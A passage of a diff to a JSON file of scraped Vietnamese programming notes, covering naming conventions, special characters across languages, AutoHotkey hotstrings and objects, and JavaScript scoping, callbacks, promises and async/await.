chủ yếu được dùng trong script này, và bản thân nó cũng cần phải dùng cả key `vịTrí`, nên để phân biệt key với value của entry này thì đặt như vậy cho dễ phân biệt.\r\n\r\nVì để mặc định của không có tiền tố gì là `vậtThể`, nên nếu nó là cấu hình thì nên có tiền tố\r\n\r\n## Khi nào thì dùng `vậtThể`\r\n- Khi bỏ đi thì không phải là danh từ. VD, đặt tên là `tiếpThị` thì hơi không lọt. `vậtThểTiếpThị` nghe ổn hơn\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n\r\n## Có viết in hoa các ký tự viết tắt khi dùng camelCase không?\r\nCác biến mặc định thì vẫn có làm vậy. VD: `URL`, `HTMLDocument` Nhưng vì có thể dễ bị lầm với cái mặc định nên có thể viết thường để đỡ phải tìm cách nghĩ một tên biến khác. \r\nVấn đề là, chính vì JS đã dùng `URL` rồi, nên các url của mình mà nếu đặt in hoa hết thì sẽ bị trùng, nên không làm vậy được. Nên đành phải dùng `url`. `Url` là để dành cho kiểu, VD: \r\n```ts\r\ntype Url = URL | string\r\n```\r\n\r\nTên có URL hiểu là trả về kiểu URL luôn.", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "X3" + }, + { + "Tiêu đề": "Các ký tự đặc biệt trong các ngôn ngữ khác nhau", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Các ký tự đặc biệt trong các ngôn ngữ khác nhau", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "| Ký tự | JavaScript | Python | Git | PowerShell | AutoHotKey | CSS | CMD | SQL | Bash | LaTeX |\n| ------------------- | ----------------- | --------------- | --------------------------------- | --------------------------------------------------------- | ------------ | ----------------------------- | ------- | --- | ---- | ----- |\n| Dấu nháy kép `\"` | Verbatim string | Verbatim string | | Chuỗi có thể chèn chuỗi khác vào được (expandable string) | | | | | | |\n| Dấu nháy đơn `'` | Verbatim string | Verbatim string | | Chuỗi có sao ghi vậy (verbatim string) | | | | | | |\n| Dấu backtick ` `` ` | Expandable string | | | Thoát khỏi ký tự đặc biệt, ngắt dòng | | | | | | |\n| Dấu đô la `$` | | | | `$biến`, `$env:path` | | | | | | |\n| Dấu phần trăm `%` | | | | `ForEach-Object` | `%biến%` | | `%biến` | | | |\n| Dấu chéo `\\` | | | | | | | | | | |\n| Dấu chéo ngược `/` | | | | | | | | | | |\n| Dấu sao `*` | | | | | | | | | | |\n| Dấu a còng `@` | | | [[HEAD là commit hiện tại\\|HEAD]] | Chèn nhiều tham số vào cùng lúc (splatting) | | Scope | | | | |\n| Dấu thăng `#` | | | | `# comment`. Mẹo: dùng `##` ở trên function | `#directive` | | | | | |\n| Dấu chấm phẩy `;` | | | | | `; comment` | | | | | |\n| Dấu gạch đứng `\\|` | | | | Pipe | | | | | | |\n| Dấu chấm hỏi `?` | | | | `Where-Object` | | | | | | |\n| Dấu lớn hơn `>` | | | | | | Child combinator | | | | |\n| Dấu cộng `+` | | | | | | Next-sibling combinator | | | | |\n| Dấu ngã `~` | | | | | | Subsequent-sibling combinator | | | | |\n| Ký tự | JavaScript | Python | | PowerShell | AutoHotKey | CSS | CMD | SQL | Bash | LaTeX |\n\n\n\nƯu tiên dấu nháy đơn `'` hơn là nháy kép `\"`. Tuy nhiên nhớ rằng [[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép|trong JSON thì chỉ có thể dùng nháy kép chứ không được dùng nháy đơn]].\n\n[The Complete Guide to PowerShell Punctuation - Simple Talk](https://www.red-gate.com/simple-talk/sysadmin/powershell/the-complete-guide-to-powershell-punctuation/)\n\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-26T07:59:00.000Z", + "Ngày cập nhật": "2024-08-25T14:03:00.000Z", + "id": "X4" + }, + { + "Tiêu đề": "Ngoài ngôn ngữ lập trình thì còn có ngôn ngữ đánh dấu và ngôn ngữ scripting, ngôn ngữ shell", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngoài ngôn ngữ lập trình thì còn có ngôn ngữ đánh dấu và ngôn ngữ scripting, ngôn ngữ shell", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Ngôn ngữ scripting sinh ra là để xử lý văn bản, không nhấn mạnh về kiểu, khai báo]]\n[[Ngôn ngữ đánh dấu]]\n[[PowerShell là một ngôn ngữ shell]]\nNguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-10T09:00:00.000Z", + "id": "X5" + }, + { + "Tiêu đề": "AutoHotkey combines 3 concepts into 1 built-in basic object type", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/AutoHotKey/AutoHotkey combines 3 concepts into 1 built-in basic object type", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "AutoHotkey combines 3 concepts into 1 built-in basic object type: \r\n- linear arrays (e.g. obj[1] := \"value\") (AKA list/vector) \r\n- associative arrays (e.g. obj[\"key\"] := \"value\") (AKA dictionary/map) \r\n- default class (custom/built-in, keys/value properties/dynamic properties/methods, can be added/modified/removed, to give custom classes) \r\n \r\nE.g. some ways to create an AHK basic object. \r\nNote: an AHK basic object does not have base object.\r\n\r\nCode: [Select all](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588#) - [Expand View](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588#) - [Download](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588# \"download Untitled.ahk\") - [Toggle Line numbers](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588# \"Toggle Line numbers\")\r\n\r\n```autohotkey\r\n;in each case obj is a basic object, and identical:\r\nobj := [\"a\", \"b\", \"c\"]\r\nobj := Array(\"a\", \"b\", \"c\")\r\nobj := {1:\"a\", 2:\"b\", 3:\"c\"}\r\nobj := Object(1,\"a\", 2,\"b\", 3,\"c\")\r\nobj := StrSplit(\"a,b,c\", \",\")\r\n\r\n;here, MyClass is also a basic object:\r\nclass MyClass\r\n{\r\n\tMyMethod()\r\n\t{\r\n\t}\r\n}\r\n\r\nMsgBox, % IsObject(ObjGetBase(obj)) ;0\r\nMsgBox, % IsObject(ObjGetBase(MyClass)) ;0\r\n\r\n;note: an instance of MyClass is *not* a basic object:\r\nobj2 := new MyClass\r\nMsgBox, % IsObject(ObjGetBase(obj2)) ;1\r\n```\r\n\r\nNguồn:: [jeeswg's object classes tutorial - AutoHotkey Community](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "X6" + }, + { + "Tiêu đề": "Tạo phím tắt bằng AutoHotKey", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/AutoHotKey/Tạo phím tắt bằng AutoHotKey", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Autohotkey là một phần mềm hỗ trợ người dùng Window, giúp thực hiện các thao tác nhanh và thuận tiện hơn, phù hợp với người làm văn phòng.\r\n\r\nThay thế các nút vô dụng trên bàn phím, như <kbd>F1</kbd>, <kbd>Pause</kbd> bằng các nút khác\r\n```\r\n::->::→\r\n:*:<->::↔\r\n:*:(::() {Left 2}\r\n;~ :*:'::'' {Left 2}\r\n:*:\"::\"\" {Left 2}\r\n:*:[::{[ 2}{bs}}{]} {Left 2}\r\n:*:{::{{ 2}{bs}{}} {Left 2}\r\n:*:\\cross::❌❌\r\n:*:\\check:✔️✅\r\n:*:lnaiv::[naïve realism](https://en.wikipedia.org/wiki/Na%C3%AFve_realism_(psychology\\))\r\n:*:lsce::[self-conscious emotions](https://en.wikipedia.org/wiki/Self-conscious_emotions)\r\n:*:chaoban::Chào bạn. Cho mình hỏi bạn là ai vậy? Cám ơn nhé\r\nCapslock::Ctrl\r\n+NumLock::CapsLock\r\n```\r\n![](https://youtu.be/YmQPxkS3HjQ) \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-30T08:56:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "X7" + }, + { + "Tiêu đề": "Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nếu như một lập trình viên là một nhạc sĩ, thì cái script họ viết ra chính là cái sheet nhạc. Một bản nhạc được phát ra khi nhạc công nhìn vào văn bản nhạc và thao tác trên nhạc cụ. Tương tự, một chương trình chạy được khi engine đọc code và sử dụng runtime. Engine là thứ có thể đọc và hiểu code, còn runtime là toàn bộ những thứ mà engine dùng để tương tác với môi trường bên ngoài.\n\nNếu như đây là code của một chương trình:\n![|300](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW6umUr-rqk6ZG5yrJrofzju5iJL3Uy_X7YQEH7Mx2PfS3kxey6cgIKUVdLVVyDAprlND4sCFc9d5twCihMVYsGv_iN5Eqp-tt2g_Xcvhhlt1PS9tlePGUso4OMNfAVIGgIlIt5wlVOKk/s1600/Croatian+Rhapsody_0001.png)\nThì đây là chương trình đó khi nó có engine và runtime:\n![Maksim Mrvica - Croatian Rhapsody (LIVE) - YouTube](https://www.youtube.com/watch?v=3aTEjyzWKFQ)\n\nCó nhiều cách thức để ta ký hiệu âm thanh xuống trang giấy, cũng như có nhiều cách thức để lưu một ý tưởng vào ổ đĩa. JavaScript là một cách để lưu ý tưởng, Python là một cách khác. Cái code mà bạn thường nghe nói tới chính là cái cách để bạn ký hiệu những ý tưởng của mình. Chúng chỉ là những ký hiệu, giống như những dòng chữ này. \n\nĐể chạy được những ký hiệu này, chúng cần tới engine, thứ có thể đọc và hiểu chúng. Có nhiều loại runtime khác nhau cho JavaScript, và đây là những runtime bạn thường được nghe đến: Firefox, Chrome, Safari, Opera, Edge, Node, Deno, Electron. Như bạn thấy, 5 cái đầu chính là các trình duyệt chứ chẳng phải là gì xa lạ. Còn Electron chính là cái để viết ra phiên bản desktop cho Obsidian, Notion, Slack, VS Code, Discord, Dropbox, Figma, v.v. Trừ Firefox, Safari và Edge ra, thì tất cả các runtime còn lại đều dùng V8, một engine do Google viết ra.\n\nNode là một runtime, một môi trường thực thi cho JavaScript. Sau một thập kỷ phát triển, tác giả của Node viết đã viết ra Deno để khắc phục những thiếu sót của Node. Có thể xem bài diễn thuyết [10 điều tôi hối hận về Node.js](https://www.youtube.com/watch?v=M3BM9TB-8yA \"10 Things I Regret About Node.js - Ryan Dahl - JSConf EU - YouTube\") của tác giả. (Tác giả không giải thích cái tên Deno có nghĩa là gì, nhưng nhiều người đoán nó là viết ngược lại của Node.)\n\nXem thêm:: [[Stack Overflow]], [What is the difference between JavaScript Engine and JavaScript Runtime Environment - Stack Overflow](https://stackoverflow.com/questions/29027845/what-is-the-difference-between-javascript-engine-and-javascript-runtime-environm)\n\n[[Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:31:00.000Z", + "Ngày cập nhật": "2024-08-24T05:40:00.000Z", + "id": "X8" + }, + { + "Tiêu đề": "Biến được so sánh với nhau bằng địa chỉ bộ nhớ, không phải giá trị thực sự của biến", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Biến được so sánh với nhau bằng địa chỉ bộ nhớ, không phải giá trị thực sự của biến", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Việc so sánh `{} === {}` sẽ luôn trả giá trị là `false` bởi vì mỗi vật thể có địa chỉ bộ nhớ khác nhau\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [This condition will always return 'false' since JavaScript compares objects by reference, not value, what does this mean in the current Scenario?](https://stackoverflow.com/a/77140099/3416774)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-21T10:58:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "X9" + }, + { + "Tiêu đề": "Biến được tạo mà không có từ khoá khai báo (var, let, const) luôn là biến toàn cục, kể cả khi được tạo trong hàm", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Biến được tạo mà không có từ khoá khai báo (var, let, const) luôn là biến toàn cục, kể cả khi được tạo trong hàm", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "### Khác với [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)\r\n\r\nCác biến được khai báo với `var` có phạm vi `function scope`, còn với `let`, `const` thì nó phạm vi `block scope`\r\n\r\n- `function scope`: Biến được khai báo dùng được trong toàn bộ function\r\n \r\n ```js\r\n function usingVar() {\r\n let x = 1;\r\n if (true) {\r\n var y = 2;\r\n console.log(x); // 1\r\n }\r\n \r\n console.log(y); // 2\r\n }\r\n ```\r\n \r\n\r\n`block scope`: Biến được khai báo chỉ sử dụng được trong block {} nơi mà nó được khai báo\r\n\r\n```js\r\nfunction usingLet() {\r\n let x = 1;\r\n if (true) {\r\n let y = 2;\r\n console.log(x); // 1\r\n }\r\n\r\n console.log(y); // Error: y is not defined\r\n}\r\n```\r\n\r\nHoặc đối với biến trong vòng for:\r\n\r\n```js\r\nfor (let i = 0; i < 5; ++i) {\r\n console.log(i); // OK\r\n}\r\n\r\nconsole.log(i); // Error: y is not defined\r\n```\r\n\r\n### let vs const\r\n\r\n- `let`: biến đã khai báo có thể được gán lại\r\n \r\n ```js\r\n let letVar = 'My old name';\r\n if (true) {\r\n letVar = 'I can have new name';\r\n }\r\n ```\r\n \r\n\r\n`const`: biến đã khai báo không thể được gán lại\r\n\r\n```js\r\nconst constVar = 'Only god can change me';\r\nif (true) {\r\n constVar = 'Don\\'t try to change me'; // Error: invalid assignment\r\n}\r\n```\r\n\r\nTuy nhiên nếu const là object thì giá trị của object vẫn có thể bị thay đổi. Chỉ _không thể bị gán thành object khác_ mà thôi.\r\n\r\n```js\r\nconst myObject = {\r\n id: 1,\r\n name: 'Can be changed'\r\n};\r\nmyObject.name = 'New name'; // OK\r\nmyObject = null; // Error\r\n```\r\n\r\nNguồn:: [Tham chiếu và ghi chú ngắn về ES6, ESNext](https://viblo.asia/p/tham-chieu-va-ghi-chu-ngan-ve-es6-esnext-Do7544PQ5M6)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "XA" + }, + { + "Tiêu đề": "await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[Why is my variable unaltered after I modify it inside of a function? - Asynchronous code reference](https://stackoverflow.com/q/23667086/3416774)\n![](https://wizardzines.com/images/uploads/async-functions.png) \n\nViệc này và việc viết JSX giống nhau ở chỗ đó là viết cái này theo cách tư duy của cái kia. [[JSX là cách để viết JS như thể viết HTML]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-30T06:00:00.000Z", + "id": "XB" + }, + { + "Tiêu đề": "callback là một hàm được truyền vào một hàm khác giống như một tham số bình thường", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/callback là một hàm được truyền vào một hàm khác giống như một tham số bình thường", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Hàm cần gọi phải ở trong then]] ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "XC" + }, + { + "Tiêu đề": "Callback là những hàm được dùng như đối số của hàm khác", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Callback là những hàm được dùng như đối số của hàm khác", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![[Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "XD" + }, + { + "Tiêu đề": "Dùng await trong filter sẽ chẳng filter được gì", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Dùng await trong filter sẽ chẳng filter được gì", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Map, filter and reduce với async/await](https://anonystick.com/blog-developer/map-filter-and-reduce-voi-asyncawait-2020042532834108)[How to use Array.prototype.filter with async?](https://stackoverflow.com/q/47095019/3416774)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-30T05:59:00.000Z", + "id": "XE" + }, + { + "Tiêu đề": "Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Callback là những hàm được dùng như đối số của hàm khác]]. Khi dùng những hàm có callback, ta thắc mắc không biết tham số đã được truyền vào như thế nào? Ví dụ như:\r\n```js\r\nfunction callback (e) {\r\n console.log('clicked');\r\n}\r\n\r\nhàmNgoài(callback);\r\n```\r\n\r\nTa thấy `callback()` là một hàm. Để nó hoạt động được thì phải truyền tham số vào. Nên đáng lẽ code trên phải là như vậy mới đúng chứ?\r\n\r\n```js\r\nfunction callback (e) {\r\n console.log('clicked');\r\n}\r\n\r\nconst e = hàmNgoài();\r\ncallback(e)\r\n```\r\n\r\nThực ra có thể nghĩ là `hàmNgoài()` đã được viết sẵn như vậy ở đâu đó:\r\n```js\r\nfunction hàmNgoài(callback){\r\n\tconst e = ...\r\n\tcallback(e)\r\n} \r\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "XF" + }, + { + "Tiêu đề": "catch là then(null, onError)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/catch là then(null, onError)", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Tất tần tật về Promise và async/await - Ehkoo](https://ehkoo.com/bai-viet/tat-tan-tat-ve-promise-va-async-await)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-30T15:04:00.000Z", + "id": "XG" + }, + { + "Tiêu đề": "Promise chỉ là một vật thể để việc lập trình được tiện hơn, không phải là một tính năng mà những phiên bản JS trước không làm được", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/Promise chỉ là một vật thể để việc lập trình được tiện hơn, không phải là một tính năng mà những phiên bản JS trước không làm được", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Lớp là một cái khuôn để tạo các vật thể cho nhanh]]. Thông thường để tạo một vật thể mới qua một lớp ta dùng thế này:\n```js\nconst xeMáy = new Xe('2 bánh')\nconst ôTô = new Xe('4 bánh')\nconst xeTải = new Xe('12 bánh')\n// ^ vật thể ^ Lớp\n```\n\nPromise là một vật thể, và nó được tạo ra từ lớp `Promise`. Lớp này không nhận đối số là chuỗi như bình thường mà là cả một hàm:\n```js\nconst promise = new Promise(hàm)\n// ^ vật thể ^ Lớp\n```\n\nHàm này được quy định có 2 đối số có tên là `resolve` và `reject`:\n```js\nfunction hàm(resolve, reject) {} \n```\n\nVật thể `promise` sau khi được tạo ra từ lớp `Promise` sẽ có 3 phương thức: `then`, `catch`, `finally`. \n\n```js\nfetch(\"https://jsonplaceholder.typicode.com/todos/1\")\n.then(res => res.json())\n.then(d => console.log(d))\n```\n\n[[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-30T15:04:00.000Z", + "id": "XH" + }, + { + "Tiêu đề": "Promise được sinh ra là để không phải dùng if lồng quá nhiều", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/Promise được sinh ra là để không phải dùng if lồng quá nhiều", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```js\napi.getUser('pikalong', function (err, user) {\n if (err) throw err\n api.getPostsOfUser(user, function (err, posts) {\n if (err) throw err\n api.getCommentsOfPosts(posts, function (err, comments) {\n // vân vân và mây mây...\n })\n })\n})\n```\n\nVí dụ trên khi được viết lại bằng Promise sẽ là:\n\n```js\napi\n .getUser('pikalong')\n .then((user) => api.getPostsOfUser(user))\n .then((posts) => api.getCommentsOfPosts(posts))\n .catch((err) => {\n throw err\n })\n```\n\nTrích từ:: [Tất tần tật về Promise và async/await - Ehkoo](https://ehkoo.com/bai-viet/tat-tan-tat-ve-promise-va-async-await)\nPromise được sinh ra để giải quyết những rắc rối của việc dùng quá nhiều callback. [[Callback là những hàm được dùng như đối số của hàm khác]]\n\n[[await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự]]\n[[Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả]] ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-30T15:04:00.000Z", + "id": "XI" + }, + { + "Tiêu đề": "Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-30T15:04:00.000Z", + "id": "XJ" + }, + { + "Tiêu đề": "JSON.stringify(new Error()) trả về một vật thể rỗng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Chuỗi/JSON.stringify(new Error()) trả về một vật thể rỗng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```javascript\r\n> JSON.stringify(error);\r\n'{}'\r\n```\r\n\r\nFrom the document of [JSON.stringify()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify),\r\n\r\n> For all the other Object instances (including Map, Set, WeakMap and WeakSet), only their enumerable properties will be serialized.\r\n\r\nand `Error` object doesn't have any enumerable properties, that's why it prints an empty object.\r\n\r\n**Background on enumerable properties**\r\n\r\nIn Javascript, an object can have two types of properties:\r\n\r\n- enumerable properties\r\n- non-enumerable properties\r\n\r\nThe exact distinction is a bit tricky, but basically:\r\n\r\n- \"normal\" properties, such as the ones you create by assignment ( `myobj= {}; myobj.prop1 = 4711;`), are enumerable,\r\n- \"internal\" properties, such as the `length` property of an array, are non-enumerable\r\n\r\nIn particular, an `Error` has _only_ non-enumerable properties.\r\n\r\nFor details, see for example [Enumerability and ownership of properties](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties) on MDN.\r\n\r\nNguồn:: [[Stack Overflow]], [Is it not possible to stringify an Error using JSON.stringify?](https://stackoverflow.com/a/50738205/3416774)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "XK" + }, + { + "Tiêu đề": "object Object xảy ra khi một vật thể bị chuyển sang dạng chuỗi", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Chuỗi/object Object xảy ra khi một vật thể bị chuyển sang dạng chuỗi", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" }, "Nội dung bài đăng": { "Toàn bộ nội dung": "Nguồn::\r\n", @@ -30951,187 +34455,427 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tw" + "id": "XL" }, { - "Tiêu đề": "Cloud, webhook, API", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/Cloud, webhook, API", + "Tiêu đề": "String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Chuỗi/String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined", "Kho thông tin": "Tiếp 